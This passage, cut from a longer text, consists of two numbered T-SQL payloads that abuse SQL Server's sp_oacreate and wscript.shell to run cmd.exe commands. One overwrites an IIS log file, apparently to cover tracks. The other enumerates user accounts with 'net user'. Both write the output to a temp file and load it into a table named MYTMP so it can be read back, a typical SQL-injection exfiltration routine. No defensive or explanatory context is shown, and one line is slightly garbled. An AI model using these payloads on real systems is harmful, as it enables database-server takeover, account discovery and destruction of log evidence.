le INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate ''wscript.shell'',@shell output EXEC sp_oamethod @shell,''run'',null,''cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt'',''0'',''true'' EXEC sp_oacreate ''scripting.filesystemobject'',@fso output EXEC sp_oamethod @fso,''opentextfile'',@file out,''c:\temp.txt'' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,''Readline'',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,''AtEndOfStream'',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate ''wscript.shell'',@shell output EXEC sp_oamethod @shell,''run'',null,''cmd.exe /c net user>c:\temp.txt'',''0'',''true'' EXEC sp_oacreate ''scripting.filesystemobject'',@fso output EXEC sp_oamethod @fso,''opentextfile'',@file out,''c:\temp.txt'' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,''Readline'', ut out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,''AtEndOfStream'',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END